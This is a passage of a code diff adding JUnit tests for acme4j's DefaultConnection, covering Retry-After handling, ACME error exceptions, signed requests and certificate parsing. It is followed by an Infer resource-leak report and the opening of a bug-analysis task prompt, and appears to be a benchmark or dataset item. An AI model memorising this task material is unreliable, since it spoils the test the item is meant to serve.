+    public void testHandleRetryAfterHeaderDate() throws AcmeException, IOException {
+        Instant retryDate = Instant.now().plus(Duration.ofHours(10)).truncatedTo(ChronoUnit.MILLIS);
+        String retryMsg = "absolute date";
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getHeaderField("Retry-After")).thenReturn(retryDate.toString());
+        when(mockUrlConnection.getHeaderFieldDate("Retry-After", 0L)).thenReturn(retryDate.toEpochMilli());
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.handleRetryAfter(retryMsg);
+            fail("no AcmeRetryAfterException was thrown");
+        } catch (AcmeRetryAfterException ex) {
+            assertThat(ex.getRetryAfter(), is(retryDate));
+            assertThat(ex.getMessage(), is(retryMsg));
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Retry-After");
+    }
+
+    /**
+     * Test if Retry-After header with relative timespan is correctly parsed.
+     */
+    @Test
+    public void testHandleRetryAfterHeaderDelta() throws AcmeException, IOException {
+        int delta = 10 * 60 * 60;
+        long now = System.currentTimeMillis();
+        String retryMsg = "relative time";
+
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getHeaderField("Retry-After"))
+                .thenReturn(String.valueOf(delta));
+        when(mockUrlConnection.getHeaderFieldDate(
+                        ArgumentMatchers.eq("Date"),
+                        ArgumentMatchers.anyLong()))
+                .thenReturn(now);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.handleRetryAfter(retryMsg);
+            fail("no AcmeRetryAfterException was thrown");
+        } catch (AcmeRetryAfterException ex) {
+            assertThat(ex.getRetryAfter(), is(Instant.ofEpochMilli(now).plusSeconds(delta)));
+            assertThat(ex.getMessage(), is(retryMsg));
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Retry-After");
+    }
+
+    /**
+     * Test if no Retry-After header is correctly handled.
+     */
+    @Test
+    public void testHandleRetryAfterHeaderNull() throws AcmeException, IOException {
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getHeaderField("Retry-After"))
+                .thenReturn(null);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.handleRetryAfter("no header");
+        } catch (AcmeRetryAfterException ex) {
+            fail("an AcmeRetryAfterException was thrown");
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Retry-After");
+    }
+
+    /**
+     * Test if missing retry-after header is correctly handled.
+     */
+    @Test
+    public void testHandleRetryAfterNotAccepted() throws AcmeException, IOException {
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.handleRetryAfter("http ok");
+        } catch (AcmeRetryAfterException ex) {
+            fail("an AcmeRetryAfterException was thrown");
+        }
+    }
+
+    /**
+     * Test if an {@link AcmeServerException} is thrown on an acme problem.
+     */
+    @Test
+    public void testAccept() throws Exception {
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(new ByteArrayOutputStream());
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            int rc = conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            assertThat(rc, is(HttpURLConnection.HTTP_OK));
+        }
+
+        verify(mockUrlConnection).getResponseCode();
+    }
+
+    /**
+     * Test if an {@link AcmeServerException} is thrown on an acme problem.
+     */
+    @Test
+    public void testAcceptThrowsException() throws Exception {
+        String jsonData = "{\"type\":\"urn:ietf:params:acme:error:unauthorized\",\"detail\":\"Invalid response: 404\"}";
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/problem+json");
+        when(mockUrlConnection.getContentLength()).thenReturn(jsonData.length());
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_FORBIDDEN);
+        when(mockUrlConnection.getOutputStream()).thenReturn(new ByteArrayOutputStream());
+        when(mockUrlConnection.getErrorStream()).thenReturn(new ByteArrayInputStream(jsonData.getBytes("utf-8")));
+        when(mockUrlConnection.getURL()).thenReturn(url("https://example.com/acme/1"));
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeUnauthorizedException ex) {
+            assertThat(ex.getType(), is(URI.create("urn:ietf:params:acme:error:unauthorized")));
+            assertThat(ex.getMessage(), is("Invalid response: 404"));
+        } catch (AcmeException ex) {
+            fail("Expected an AcmeUnauthorizedException");
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getContentLength();
+        verify(mockUrlConnection).getErrorStream();
+        verify(mockUrlConnection).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeUserActionRequiredException} is thrown on an acme problem.
+     */
+    @Test
+    public void testAcceptThrowsUserActionRequiredException() throws Exception {
+        String jsonData = "{\"type\":\"urn:ietf:params:acme:error:userActionRequired\",\"detail\":\"Accept the TOS\"}";
+
+        Map<String, List<String>> linkHeader = new HashMap<>();
+        linkHeader.put("Link", Arrays.asList("<https://example.com/tos.pdf>; rel=\"terms-of-service\""));
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/problem+json");
+        when(mockUrlConnection.getContentLength()).thenReturn(jsonData.length());
+        when(mockUrlConnection.getHeaderFields()).thenReturn(linkHeader);
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_FORBIDDEN);
+        when(mockUrlConnection.getOutputStream()).thenReturn(new ByteArrayOutputStream());
+        when(mockUrlConnection.getErrorStream()).thenReturn(new ByteArrayInputStream(jsonData.getBytes("utf-8")));
+        when(mockUrlConnection.getURL()).thenReturn(url("https://example.com/acme/1"));
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeUserActionRequiredException ex) {
+            assertThat(ex.getType(), is(URI.create("urn:ietf:params:acme:error:userActionRequired")));
+            assertThat(ex.getMessage(), is("Accept the TOS"));
+            assertThat(ex.getTermsOfServiceUri(), is(URI.create("https://example.com/tos.pdf")));
+        } catch (AcmeException ex) {
+            fail("Expected an AcmeUserActionRequiredException");
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getHeaderFields();
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getErrorStream();
+        verify(mockUrlConnection).getContentLength();
+        verify(mockUrlConnection, atLeastOnce()).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeRateLimitedException} is thrown on an acme problem.
+     */
+    @Test
+    public void testAcceptThrowsRateLimitedException() throws Exception {
+        String jsonData = "{\"type\":\"urn:ietf:params:acme:error:rateLimited\",\"detail\":\"Too many invocations\"}";
+
+        Map<String, List<String>> linkHeader = new HashMap<>();
+        linkHeader.put("Link", Arrays.asList("<https://example.com/rates.pdf>; rel=\"urn:ietf:params:acme:documentation\""));
+
+        Instant retryAfter = Instant.now().plusSeconds(30L).truncatedTo(ChronoUnit.MILLIS);
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/problem+json");
+        when(mockUrlConnection.getContentLength()).thenReturn(jsonData.length());
+        when(mockUrlConnection.getHeaderField("Retry-After")).thenReturn(retryAfter.toString());
+        when(mockUrlConnection.getHeaderFieldDate("Retry-After", 0L)).thenReturn(retryAfter.toEpochMilli());
+        when(mockUrlConnection.getHeaderFields()).thenReturn(linkHeader);
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_FORBIDDEN);
+        when(mockUrlConnection.getOutputStream()).thenReturn(new ByteArrayOutputStream());
+        when(mockUrlConnection.getErrorStream()).thenReturn(new ByteArrayInputStream(jsonData.getBytes("utf-8")));
+        when(mockUrlConnection.getURL()).thenReturn(url("https://example.com/acme/1"));
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeRateLimitedException ex) {
+            assertThat(ex.getType(), is(URI.create("urn:ietf:params:acme:error:rateLimited")));
+            assertThat(ex.getMessage(), is("Too many invocations"));
+            assertThat(ex.getRetryAfter(), is(retryAfter));
+            assertThat(ex.getDocuments(), is(notNullValue()));
+            assertThat(ex.getDocuments().size(), is(1));
+            assertThat(ex.getDocuments().iterator().next(), is(url("https://example.com/rates.pdf")));
+        } catch (AcmeException ex) {
+            fail("Expected an AcmeRateLimitedException");
+        }
+
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getHeaderField("Retry-After");
+        verify(mockUrlConnection).getHeaderFieldDate("Retry-After", 0L);
+        verify(mockUrlConnection, atLeastOnce()).getHeaderFields();
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getContentLength();
+        verify(mockUrlConnection).getErrorStream();
+        verify(mockUrlConnection, atLeastOnce()).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeServerException} is thrown on another problem.
+     */
+    @Test
+    public void testAcceptThrowsOtherException() throws IOException {
+        when(mockUrlConnection.getHeaderField("Content-Type"))
+                .thenReturn("application/problem+json");
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_INTERNAL_ERROR);
+        when(mockUrlConnection.getURL())
+                .thenReturn(url("https://example.com/acme/1"));
+        when(mockUrlConnection.getOutputStream())
+                .thenReturn(new ByteArrayOutputStream());
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public JSON readJsonResponse() {
+                JSONBuilder result = new JSONBuilder();
+                result.put("type", "urn:zombie:error:apocalypse");
+                result.put("detail", "Zombie apocalypse in progress");
+                return result.toJSON();
+            }
+        }) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeServerException ex) {
+            assertThat(ex.getType(), is(URI.create("urn:zombie:error:apocalypse")));
+            assertThat(ex.getMessage(), is("Zombie apocalypse in progress"));
+        } catch (AcmeException ex) {
+            fail("Expected an AcmeServerException");
+        }
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeException} is thrown if there is no error type.
+     */
+    @Test
+    public void testAcceptThrowsNoTypeException() throws IOException {
+        when(mockUrlConnection.getHeaderField("Content-Type"))
+                .thenReturn("application/problem+json");
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_INTERNAL_ERROR);
+        when(mockUrlConnection.getURL())
+                .thenReturn(url("https://example.com/acme/1"));
+        when(mockUrlConnection.getOutputStream())
+                .thenReturn(new ByteArrayOutputStream());
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public JSON readJsonResponse() {
+                return JSON.empty();
+            }
+        }) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeProtocolException ex) {
+            assertThat(ex.getMessage(), not(isEmptyOrNullString()));
+        } catch (AcmeException ex) {
+            fail("Did not expect an AcmeException");
+        }
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection).getURL();
+    }
+
+    /**
+     * Test if an {@link AcmeException} is thrown if there is a generic error.
+     */
+    @Test
+    public void testAcceptThrowsServerException() throws IOException {
+        when(mockUrlConnection.getHeaderField("Content-Type"))
+                .thenReturn("text/html");
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_INTERNAL_ERROR);
+        when(mockUrlConnection.getResponseMessage())
+                .thenReturn("Infernal Server Error");
+        when(mockUrlConnection.getOutputStream())
+                .thenReturn(new ByteArrayOutputStream());
+
+        session.setNonce(TestUtils.DUMMY_NONCE);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendSignedRequest(requestUrl, new JSONBuilder(), login);
+            fail("Expected to fail");
+        } catch (AcmeException ex) {
+            assertThat(ex.getMessage(), is("HTTP 500: Infernal Server Error"));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection, atLeastOnce()).getResponseCode();
+        verify(mockUrlConnection, atLeastOnce()).getResponseMessage();
+    }
+
+    /**
+     * Test GET requests.
+     */
+    @Test
+    public void testSendRequest() throws Exception {
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.sendRequest(requestUrl, session);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("GET");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/json");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setDoOutput(false);
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test signed POST requests.
+     */
+    @Test
+    public void testSendSignedRequest() throws Exception {
+        final String nonce1 = Base64Url.encode("foo-nonce-1-foo".getBytes());
+        final String nonce2 = Base64Url.encode("foo-nonce-2-foo".getBytes());
+        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(outputStream);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public void resetNonce(Session session) {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == null) {
+                    session.setNonce(nonce1);
+                } else {
+                    fail("unknown nonce");
+                }
+            }
+
+            @Override
+            public String getNonce() {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == nonce1) {
+                    return nonce2;
+                } else {
+                    fail("unknown nonce");
+                    return null;
+                }
+            }
+        }) {
+            JSONBuilder cb = new JSONBuilder();
+            cb.put("foo", 123).put("bar", "a-string");
+            conn.sendSignedRequest(requestUrl, cb, login);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("POST");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/json");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setRequestProperty("Content-Type", "application/jose+json");
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).setDoOutput(true);
+        verify(mockUrlConnection).setFixedLengthStreamingMode(outputStream.toByteArray().length);
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getOutputStream();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+
+        JSON data = JSON.parse(new String(outputStream.toByteArray(), "utf-8"));
+        String encodedHeader = data.get("protected").asString();
+        String encodedSignature = data.get("signature").asString();
+        String encodedPayload = data.get("payload").asString();
+
+        StringBuilder expectedHeader = new StringBuilder();
+        expectedHeader.append('{');
+        expectedHeader.append("\"nonce\":\"").append(nonce1).append("\",");
+        expectedHeader.append("\"url\":\"").append(requestUrl).append("\",");
+        expectedHeader.append("\"alg\":\"RS256\",");
+        expectedHeader.append("\"kid\":\"").append(accountUrl).append('"');
+        expectedHeader.append('}');
+
+        assertThat(Base64Url.decodeToUtf8String(encodedHeader), sameJSONAs(expectedHeader.toString()));
+        assertThat(Base64Url.decodeToUtf8String(encodedPayload), sameJSONAs("{\"foo\":123,\"bar\":\"a-string\"}"));
+        assertThat(encodedSignature, not(isEmptyOrNullString()));
+
+        JsonWebSignature jws = new JsonWebSignature();
+        jws.setCompactSerialization(CompactSerializer.serialize(encodedHeader, encodedPayload, encodedSignature));
+        jws.setKey(login.getKeyPair().getPublic());
+        assertThat(jws.verifySignature(), is(true));
+    }
+
+    /**
+     * Test signed POST-as-GET requests.
+     */
+    @Test
+    public void testSendSignedPostAsGetRequest() throws Exception {
+        final String nonce1 = Base64Url.encode("foo-nonce-1-foo".getBytes());
+        final String nonce2 = Base64Url.encode("foo-nonce-2-foo".getBytes());
+        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(outputStream);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public void resetNonce(Session session) {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == null) {
+                    session.setNonce(nonce1);
+                } else {
+                    fail("unknown nonce");
+                }
+            }
+
+            @Override
+            public String getNonce() {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == nonce1) {
+                    return nonce2;
+                } else {
+                    fail("unknown nonce");
+                    return null;
+                }
+            }
+        }) {
+            conn.sendSignedPostAsGetRequest(requestUrl, login);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("POST");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/json");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setRequestProperty("Content-Type", "application/jose+json");
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).setDoOutput(true);
+        verify(mockUrlConnection).setFixedLengthStreamingMode(outputStream.toByteArray().length);
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getOutputStream();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+
+        JSON data = JSON.parse(new String(outputStream.toByteArray(), "utf-8"));
+        String encodedHeader = data.get("protected").asString();
+        String encodedSignature = data.get("signature").asString();
+        String encodedPayload = data.get("payload").asString();
+
+        StringBuilder expectedHeader = new StringBuilder();
+        expectedHeader.append('{');
+        expectedHeader.append("\"nonce\":\"").append(nonce1).append("\",");
+        expectedHeader.append("\"url\":\"").append(requestUrl).append("\",");
+        expectedHeader.append("\"alg\":\"RS256\",");
+        expectedHeader.append("\"kid\":\"").append(accountUrl).append('"');
+        expectedHeader.append('}');
+
+        assertThat(Base64Url.decodeToUtf8String(encodedHeader), sameJSONAs(expectedHeader.toString()));
+        assertThat(Base64Url.decodeToUtf8String(encodedPayload), is(""));
+        assertThat(encodedSignature, not(isEmptyOrNullString()));
+
+        JsonWebSignature jws = new JsonWebSignature();
+        jws.setCompactSerialization(CompactSerializer.serialize(encodedHeader, encodedPayload, encodedSignature));
+        jws.setKey(login.getKeyPair().getPublic());
+        assertThat(jws.verifySignature(), is(true));
+    }
+
+    /**
+     * Test certificate POST-as-GET requests.
+     */
+    @Test
+    public void testSendCertificateRequest() throws Exception {
+        final String nonce1 = Base64Url.encode("foo-nonce-1-foo".getBytes());
+        final String nonce2 = Base64Url.encode("foo-nonce-2-foo".getBytes());
+        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(outputStream);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public void resetNonce(Session session) {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == null) {
+                    session.setNonce(nonce1);
+                } else {
+                    fail("unknown nonce");
+                }
+            }
+
+            @Override
+            public String getNonce() {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == nonce1) {
+                    return nonce2;
+                } else {
+                    fail("unknown nonce");
+                    return null;
+                }
+            }
+        }) {
+            conn.sendCertificateRequest(requestUrl, login);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("POST");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/pem-certificate-chain");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setRequestProperty("Content-Type", "application/jose+json");
+        verify(mockUrlConnection).setDoOutput(true);
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).setFixedLengthStreamingMode(outputStream.toByteArray().length);
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getOutputStream();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test signed POST requests without KeyIdentifier.
+     */
+    @Test
+    public void testSendSignedRequestNoKid() throws Exception {
+        final String nonce1 = Base64Url.encode("foo-nonce-1-foo".getBytes());
+        final String nonce2 = Base64Url.encode("foo-nonce-2-foo".getBytes());
+        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getOutputStream()).thenReturn(outputStream);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection) {
+            @Override
+            public void resetNonce(Session session) {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == null) {
+                    session.setNonce(nonce1);
+                } else {
+                    fail("unknown nonce");
+                }
+            }
+
+            @Override
+            public String getNonce() {
+                assertThat(session, is(sameInstance(DefaultConnectionTest.this.session)));
+                if (session.getNonce() == nonce1) {
+                    return nonce2;
+                } else {
+                    fail("unknown nonce");
+                    return null;
+                }
+            }
+        }) {
+            JSONBuilder cb = new JSONBuilder();
+            cb.put("foo", 123).put("bar", "a-string");
+            conn.sendSignedRequest(requestUrl, cb, session, keyPair);
+        }
+
+        verify(mockUrlConnection).setRequestMethod("POST");
+        verify(mockUrlConnection).setRequestProperty("Accept", "application/json");
+        verify(mockUrlConnection).setRequestProperty("Accept-Charset", "utf-8");
+        verify(mockUrlConnection).setRequestProperty("Accept-Language", "ja-JP");
+        verify(mockUrlConnection).setRequestProperty("Content-Type", "application/jose+json");
+        verify(mockUrlConnection).connect();
+        verify(mockUrlConnection).setDoOutput(true);
+        verify(mockUrlConnection).setFixedLengthStreamingMode(outputStream.toByteArray().length);
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getOutputStream();
+        verify(mockUrlConnection, atLeast(0)).getHeaderFields();
+        verifyNoMoreInteractions(mockUrlConnection);
+
+        JSON data = JSON.parse(new String(outputStream.toByteArray(), "utf-8"));
+        String encodedHeader = data.get("protected").asString();
+        String encodedSignature = data.get("signature").asString();
+        String encodedPayload = data.get("payload").asString();
+
+        StringBuilder expectedHeader = new StringBuilder();
+        expectedHeader.append('{');
+        expectedHeader.append("\"nonce\":\"").append(nonce1).append("\",");
+        expectedHeader.append("\"url\":\"").append(requestUrl).append("\",");
+        expectedHeader.append("\"alg\":\"RS256\",");
+        expectedHeader.append("\"jwk\":{");
+        expectedHeader.append("\"kty\":\"").append(TestUtils.KTY).append("\",");
+        expectedHeader.append("\"e\":\"").append(TestUtils.E).append("\",");
+        expectedHeader.append("\"n\":\"").append(TestUtils.N).append("\"");
+        expectedHeader.append("}}");
+
+        assertThat(Base64Url.decodeToUtf8String(encodedHeader), sameJSONAs(expectedHeader.toString()));
+        assertThat(Base64Url.decodeToUtf8String(encodedPayload), sameJSONAs("{\"foo\":123,\"bar\":\"a-string\"}"));
+        assertThat(encodedSignature, not(isEmptyOrNullString()));
+
+        JsonWebSignature jws = new JsonWebSignature();
+        jws.setCompactSerialization(CompactSerializer.serialize(encodedHeader, encodedPayload, encodedSignature));
+        jws.setKey(login.getKeyPair().getPublic());
+        assertThat(jws.verifySignature(), is(true));
+    }
+
+    /**
+     * Test signed POST requests if there is no nonce.
+     */
+    @Test(expected = AcmeException.class)
+    public void testSendSignedRequestNoNonce() throws Exception {
+        when(mockHttpConnection.openConnection(new URL("https://example.com/acme/new-nonce"), Proxy.NO_PROXY))
+                .thenReturn(mockUrlConnection);
+        when(mockUrlConnection.getResponseCode())
+                .thenReturn(HttpURLConnection.HTTP_NOT_FOUND);
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            JSONBuilder cb = new JSONBuilder();
+            conn.sendSignedRequest(requestUrl, cb, DefaultConnectionTest.this.session, DefaultConnectionTest.this.keyPair);
+        }
+    }
+
+    /**
+     * Test getting a JSON response.
+     */
+    @Test
+    public void testReadJsonResponse() throws Exception {
+        String jsonData = "{\n\"foo\":123,\n\"bar\":\"a-string\"\n}\n";
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/json");
+        when(mockUrlConnection.getContentLength()).thenReturn(jsonData.length());
+        when(mockUrlConnection.getResponseCode()).thenReturn(HttpURLConnection.HTTP_OK);
+        when(mockUrlConnection.getInputStream()).thenReturn(new ByteArrayInputStream(jsonData.getBytes("utf-8")));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            JSON result = conn.readJsonResponse();
+            assertThat(result, is(notNullValue()));
+            assertThat(result.keySet(), hasSize(2));
+            assertThat(result.get("foo").asInt(), is(123));
+            assertThat(result.get("bar").asString(), is("a-string"));
+        }
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection).getContentLength();
+        verify(mockUrlConnection).getResponseCode();
+        verify(mockUrlConnection).getInputStream();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that a certificate is downloaded correctly.
+     */
+    @Test
+    public void testReadCertificate() throws Exception {
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/pem-certificate-chain");
+        when(mockUrlConnection.getInputStream()).thenReturn(getClass().getResourceAsStream("/cert.pem"));
+
+        List<X509Certificate> downloaded;
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            downloaded = conn.readCertificates();
+        }
+
+        List<X509Certificate> original = TestUtils.createCertificate();
+        assertThat(original.size(), is(2));
+
+        assertThat(downloaded, not(nullValue()));
+        assertThat(downloaded.size(), is(original.size()));
+        for (int ix = 0; ix < downloaded.size(); ix++) {
+            assertThat(downloaded.get(ix).getEncoded(), is(original.get(ix).getEncoded()));
+        };
+
+        verify(mockUrlConnection).getHeaderField("Content-Type");
+        verify(mockUrlConnection).getInputStream();
+        verifyNoMoreInteractions(mockUrlConnection);
+    }
+
+    /**
+     * Test that a bad certificate throws an exception.
+     */
+    @Test(expected = AcmeProtocolException.class)
+    public void testReadBadCertificate() throws Exception {
+        // Build a broken certificate chain PEM file
+        byte[] brokenPem;
+        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
+                        OutputStreamWriter w = new OutputStreamWriter(baos)) {
+            for (X509Certificate cert : TestUtils.createCertificate()) {
+                byte[] badCert = cert.getEncoded();
+                Arrays.sort(badCert); // break it
+                AcmeUtils.writeToPem(badCert, AcmeUtils.PemLabel.CERTIFICATE, w);
+            }
+            w.flush();
+            brokenPem = baos.toByteArray();
+        }
+
+        when(mockUrlConnection.getHeaderField("Content-Type")).thenReturn("application/pem-certificate-chain");
+        when(mockUrlConnection.getInputStream()).thenReturn(new ByteArrayInputStream(brokenPem));
+
+        try (DefaultConnection conn = new DefaultConnection(mockHttpConnection)) {
+            conn.conn = mockUrlConnection;
+            conn.readCertificates();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `javax.net.ssl.HttpsURLConnection` acquired by call to `sendRequest(...)` at line 652 is not released after line 653.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DefaultConnectionTest.testSendRequest()
+
+### Procedure Id:
+org.shredzone.acme4j.connector.DefaultConnectionTest.testSendRequest():void.57115950df0dc37ce3928cda06f0923d
+
+### File:
+acme4j-client/src/test/java/org/shredzone/acme4j/connector/DefaultConnectionTest.java
+
+### Key:
+DefaultConnectionTest.java|testSendRequest|RESOURCE_LEAK
+
+### Node Key:
+be34d01a97ade44aabeb9969f5c22e18
+
+### Hash:
+f8eb3974ff7953533c42978536057452
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
